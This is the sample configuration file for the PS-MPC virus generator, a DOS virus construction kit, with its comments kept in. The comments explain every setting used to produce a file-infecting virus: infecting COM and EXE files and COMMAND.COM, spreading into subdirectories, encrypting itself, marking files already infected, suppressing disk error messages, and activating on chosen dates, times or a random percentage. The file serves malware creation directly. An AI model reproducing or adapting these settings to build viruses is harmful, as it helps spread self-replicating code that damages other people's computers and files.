; FILE: SKELETON.CFG ; Skeleton configuration file for PS-MPC version 0.90á ; Lines beginning with semicolons denote comments ; Required parameters: ; Filename = ; This is the filename to be generated by PS-MPC as the source code file. Filename = target.asm ; Infect = (C,E) ; COM, EXE ; Note: You can mix the two, a la "Infect = C,E" Do not use a space to ; deliminate the two parameters. Infect = C,E ; Optional parameters - Defaults are shown in square brackets ; Traversal = ; ([None], Dot Dot) ; If None is specified, then only the files in the current directory will be ; infected. If Dot dot is specified, then files in the current directory and ; subdirectories below the current will be infected. Traversal = N ; Encrypted = ; (Yes, [No]) ; Only turn off encryption if you wish to limit the size of the virus. Encryption = Y ; IDWord = XX ; ([ ],XX) ; The IDWord consists of two characters which are used to identify already ; infected EXE files. This line is not needed in COM-only infectors. Do ; not use an apostrophe or the source code will not assemble properly. IDWord = DA ; MinSize = # ; (A,[0]..65535) ; MinSize is used only in the infection of COM files. Files under MinSize ; bytes are not infected. MinSize = 0 turns off this option. MinSize = A ; indicates use of the virus's effective length as the minimum size. This ; line is ignored in EXE-specific infectors. MinSize = 0 ; MaxSize = # ; (A,[0]..65535) ; MaxSize is used only in the infection of COM files. Files above MaxSize ; bytes are not infected. MaxSize = 0 turns off this option. MaxSize = A ; indicates automatic calculation of maximum size. This line is not needed ; in EXE-only infectors. MaxSize = A ; Infections = # ; ([0]..255) ; Infections is an optional counter limiting the number of infections per run ; of the virus to a specific number. Infections = 0 disables this option. Infections = 0 ; ErrorHandler = ; (Yes, [No]) ; ErrorHandler selects if you wish to include a short critical error handler ; in the virus. This handler prevents Abort, Retry, Fail messages by taking ; over the critical error interrupt. Attempted infection of files on write- ; protected diskettes will not generate an error if this option is set. ErrorHandler = Y ; CommandCom = ; (Yes, [No]) ; This flag indicates whether you wish the virus to infect COMMAND.COM ; 'Yes' turns off the check for COMMAND.COM, thus saving space. CommandCom = N ; VirusName = ; The only limitation to the string is that you may not use both the single ; and double quotes together in the string, i.e. the string B'li"p is not ; legal. VirusName = [Skeleton] ; AuthorName = ; The same constraints apply to AuthorName. AuthorName = Deke ; AllowZero = ; (Yes, [No]) ; This flags whether the virus will allow an encryption value of 0, which ; would effectively leave it in an unencrypted state. 'Yes' disables the ; zero check, thereby shortening code length. AllowZero = N ; Activation Conditions ; All conditions must be satisfied for activation to occur ; Always = ; (Yes, [No]) ; This flags whether the virus always activates, although I can't imagine a ; useful virus that does so. ; Always = N ; IfMonth = # ; <1..12><-,+> ; Activate if the month is equal to the specified number. Adding a minus sign ; after the month indicates activation before or during the specified month. ; Adding a plus sign after the month indicates activation during or after the ; specified month. ; IfMonth = 11+ ; Activate in either November or December ; IfDay = # ; <1..31><-,+> ; Activate if the date is on a certain date Adding a minus sign after the day ; indicates activation on or before that day. Similarly, adding a plus sign ; indicates activation on or after that day. Note: the program does not check ; to see if the number inputted is a valid date. For example, combining ; IfMonth=2 and IfDay=30+ will NOT result in an error, although the virus will ; clearly never activate. ; IfDay = 15+ ; Activate after the fifteenth of the month ; IfYear = # ; <0..65535><-,+> ; Activate during a certain year or years. Don't be stupid and put a ; ridiculous year such as 1-. ; IfYear = 1993+ ; Activate after 1993 ; IfDOW = # ; <0..6><-,+> ; 0 = Sunday, 1 = Monday, etc. ; Activate on, before, or after a particular day of the week. ; IfDOW = 0 ; Activate only on Sundays ; IfMonthDay = #,# ; <#,#><-,+> ; Activate on, before, or after a particular day of the year. This differs ; from the combination of IfMonth and IfDay. ; IfMonthDay = 5,9+ ; Activate only after May 9th ; compare to: ; IfMonth = 5+ ; Activate in May through December, but only if the ; IfDay = 9+ ; day is on or after the 8th. July 1st is NOT an ; activation date ; IfHour = # ; <0..23><-,+> ; This should be self-explanatory at this point. ; IfHour = 12 ; Activate any time from 12 noon -> 1 P.M. ; IfMinute = # ; <0..59><-,+> ; Duh. ; IfMinute = 30+ ; IfSecond = # ; <0..59><-,+> ;; check 0 ; This is somewhat useless, in my estimation ; IfSecond = 30+ ; Percentage = # ; <1..99> ; This uses the 1/100 second counter as a random number. If the counter is ; less than the percentage, then the virus will activate. ; Percentage = 50 ; Even odds